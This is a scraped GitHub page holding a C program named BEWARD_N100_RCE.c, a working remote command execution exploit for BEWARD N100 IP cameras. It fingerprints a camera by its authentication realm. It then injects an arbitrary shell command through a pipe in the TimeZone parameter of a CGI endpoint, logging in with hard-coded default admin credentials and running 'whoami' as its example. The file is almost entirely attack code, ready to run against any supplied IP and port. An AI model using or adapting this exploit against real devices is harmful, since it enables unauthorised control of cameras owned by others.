-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathBEWARD_N100_RCE.c
More file actions
126 lines (102 loc) · 3.34 KB
/
BEWARD_N100_RCE.c
File metadata and controls
126 lines (102 loc) · 3.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
// "BEWARD N100 H.264 VGA
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#define MAX_RESPONSE_SIZE 8192
char *execute(const char *target_ip, int port, const char *cmd) {
int sock;
struct sockaddr_in server_addr;
char request[1024];
char response[MAX_RESPONSE_SIZE];
int bytes_received;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("Socket creation failed");
return NULL;
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
inet_pton(AF_INET, target_ip, &server_addr.sin_addr);
if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Connection failed");
close(sock);
return NULL;
}
snprintf(request, sizeof(request),
"GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=pool.ntp.org&TimeZone=03:00|%s|| HTTP/1.1\r\n"
"Host: %s\r\n"
"Authorization: Basic YWRtaW46YWRtaW4=\r\n"
"Connection: close\r\n\r\n",
cmd, target_ip);
send(sock, request, strlen(request), 0);
memset(response, 0, sizeof(response));
bytes_received = recv(sock, response, sizeof(response) - 1, 0);
close(sock);
if (bytes_received < 0) {
perror("Receive failed");
return NULL;
}
response[bytes_received] = '\0';
char *output = strdup(response); // Duplicate response to return
return output;
}
int check(const char *target_ip, int port) {
int sock;
struct sockaddr_in server_addr;
char request[256];
char response[MAX_RESPONSE_SIZE];
int bytes_received;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("Socket creation failed");
return 0;
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
inet_pton(AF_INET, target_ip, &server_addr.sin_addr);
if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Connection failed");
close(sock);
return 0;
}
snprintf(request, sizeof(request),
"GET / HTTP/1.1\r\n"
"Host: %s\r\n"
"Connection: close\r\n\r\n",
target_ip);
send(sock, request, strlen(request), 0);
memset(response, 0, sizeof(response));
bytes_received = recv(sock, response, sizeof(response) - 1, 0);
close(sock);
if (bytes_received < 0) {
perror("Receive failed");
return 0;
}
response[bytes_received] = '\0';
if (strstr(response, "WWW-Authenticate: Basic realm=\"N100 H.264 IP Camera\"")) {
return 1; // Vulnerable
}
return 0; // Not vulnerable
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("Usage: %s <target_ip> <port>\n", argv[0]);
return 1;
}
const char *target_ip = argv[1];
int port = atoi(argv[2]);
if (check(target_ip, port)) {
printf("Target %s:%d is vulnerable\n", target_ip, port);
printf("Executing command...\n");
char *response = execute(target_ip, port, "whoami"); // Example command
if (response) {
printf("Response: %s\n", response);
free(response);
}
} else {
printf("Exploit failed - target %s:%d seems to be not vulnerable\n", target_ip, port);
}
return 0;
}